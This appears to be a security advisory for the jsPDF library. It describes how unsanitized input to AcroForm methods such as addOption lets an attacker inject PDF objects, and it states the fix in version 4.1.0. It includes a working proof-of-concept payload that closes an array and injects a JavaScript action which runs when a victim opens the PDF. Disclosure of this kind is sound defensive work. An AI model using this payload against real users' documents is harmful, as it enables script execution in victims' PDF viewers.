User control of properties and methods of the Acroform module allows users to inject arbitrary PDF objects, such as JavaScript actions.
If given the possibility to pass unsanitized input to one of the following methods or properties, a user can inject arbitrary PDF objects, such as JavaScript actions, which are executed when the victim opens the document. The vulnerable API members are:
AcroformChoiceField.addOptionAcroformChoiceField.setOptionsAcroFormCheckBox.appearanceStateAcroFormRadioButton.appearanceStateExample attack vector:
import { jsPDF } from "jspdf"
const doc = new jsPDF();
var choiceField = new doc.AcroFormChoiceField();
choiceField.T = "VulnerableField";
choiceField.x = 20;
choiceField.y = 20;
choiceField.width = 100;
choiceField.height = 20;
// PAYLOAD:
// 1. Starts with "/" to bypass escaping.
// 2. "dummy]" closes the array.
// 3. "/AA" injects an Additional Action (Focus event).
// 4. "/JS" executes arbitrary JavaScript.
const payload = "/dummy] /AA << /Fo << /S /JavaScript /JS (app.alert('XSS')) >> >> /Garbage [";
choiceField.addOption(payload);
doc.addField(choiceField);
doc.save("test.pdf");
The vulnerability has been fixed in jsPDF@4.1.0.
Sanitize user input before passing it to the vulnerable API members.
Research and fix: Ahmet Artuç
4.1.0Exploitability
AV:NAC:LPR:NUI:RScope
S:UImpact
C:HI:HA:N8.1/CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N